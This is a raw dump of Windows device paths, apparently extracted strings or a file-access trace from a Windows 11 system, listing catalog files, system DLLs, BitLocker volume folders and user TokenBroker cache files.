\Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Lxss-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Hyper-V-Offline-Common-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Hyper-V-Offline-Common-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Hyper-V-Offline-Common-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Hyper-V-Offline-Common-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Hyper-V-Offline-Common-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat \Device\HarddiskVolume1\System Volume Information \Device\HarddiskVolume1\System Volume Information\ClientRecoveryPasswordRotation \Device\HarddiskVolume1\System Volume Information\AadRecoveryPasswordDelete \Device\HarddiskVolume1\System Volume Information\FveDecryptedVolumeFolder \Device\HarddiskVolume4\System Volume Information\AadRecoveryPasswordDelete \Device\HarddiskVolume3\Windows\System32\BdeUISrv.exe \Device\HarddiskVolume3\Windows\System32\BdeUISrv.exe:WofCompressedData \Device\HarddiskVolume3\Windows\System32\BdeUISrv.exe::$EA \Device\HarddiskVolume3\Windows\System32\kernel.appcore.dll \Device\HarddiskVolume3\Windows\System32\bcryptprimitives.dll \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Basic-Http-Minio-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Basic-Http-Minio-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Basic-Http-Minio-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Basic-Http-Minio-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Basic-Http-Minio-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Basic-Http-Minio-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat::$ATTRIBUTE_LIST \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat::$ATTRIBUTE_LIST \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat::$ATTRIBUTE_LIST \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat \Device\HarddiskVolume3\Windows\System32\dpapi.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\TokenBroker\Cache\95d9a2a97a42f02325559b453ba7f8fe839baa18.tbres \Device\HarddiskVolume3\Windows\SysWOW64\wmp.dll \Device\HarddiskVolume3\Windows\SysWOW64\wmp.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SysWOW64\wmp.dll \Device\HarddiskVolume3\Windows\SysWOW64\wmp.dll \Device\HarddiskVolume3\Windows\SysWOW64\wmp.dll:WofCompressedData e"C:\WINDOWS\system32\BackgroundTaskHost.exe" -ServerName:BackgroundTaskHost.WebAccountProvider Microsoft.AAD.BrokerPlugin_1000.19580.1000.2_neutral_neutral_cw5n1h2txyewy \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-CoreSystem-RemoteFS-Server-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-CoreSystem-RemoteFS-Server-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-CoreSystem-RemoteFS-Server-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-CoreSystem-RemoteFS-Server-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-CoreSystem-RemoteFS-Server-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-CoreSystem-RemoteFS-Server-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat \Device\HarddiskVolume3\Windows\System32\kernel32.dll \Device\HarddiskVolume3\Windows\System32\KernelBase.dll \Device\HarddiskVolume3\Windows\SysWOW64\netlogon.dll \Device\HarddiskVolume3\Windows\SysWOW64\netlogon.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SysWOW64\netlogon.dll \Device\HarddiskVolume3\Windows\SysWOW64\netlogon.dll \Device\HarddiskVolume3\Windows\SysWOW64\netlogon.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\msvcp_win.dll \Device\HarddiskVolume3\Windows\System32\win32u.dll \Device\HarddiskVolume3\Windows\System32\gdi32.dll \Device\HarddiskVolume3\Windows\System32\gdi32full.dll \Device\HarddiskVolume3\Windows\System32\imm32.dll GV}h \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-EnterpriseNetworking-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-EnterpriseNetworking-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-EnterpriseNetworking-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat::$ATTRIBUTE_LIST \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-EnterpriseNetworking-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat \Device\HarddiskVolume3\Windows\System32\MrmCoreR.dll \Device\HarddiskVolume3\Windows\System32\iertutil.dll \Device\HarddiskVolume3\Windows\System32\advapi32.dll \Device\HarddiskVolume3\Windows\System32\srvcli.dll \Device\HarddiskVolume3\Windows\System32\netutils.dll \Device\HarddiskVolume3\Windows\System32\vaultcli.dll \Device\HarddiskVolume3\Windows\System32\bcrypt.dll \Device\HarddiskVolume3\Windows\System32\threadpoolwinrt.dll \Device\HarddiskVolume3\Windows\System32\Windows.UI.Xaml.dll \Device\HarddiskVolume3\Windows\System32\Windows.Storage.ApplicationData.dll \Device\HarddiskVolume3\Windows\System32\shlwapi.dll \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Connectivity-UsbHost-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Connectivity-UsbHost-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Connectivity-UsbHost-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Connectivity-UsbHost-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Connectivity-UsbHost-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Connectivity-UsbHost-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat \Device\HarddiskVolume3\Windows\System32\uxtheme.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\TokenBroker\Cache\fbaf94e759052658216786bfbabcdced1b67a5c2.tbres \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-SystemCounters-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-SystemCounters-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-SystemCounters-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Kernel-Package-System-Counters-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Kernel-Package-System-Counters-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Kernel-Package-System-Counters-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-SystemCounters-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-SystemCounters-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-SystemCounters-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-SystemCounters-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-SystemCounters-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Kernel-Package-System-Counters-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Kernel-Package-System-Counters-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Kernel-Package-System-Counters-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Kernel-Package-System-Counters-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat 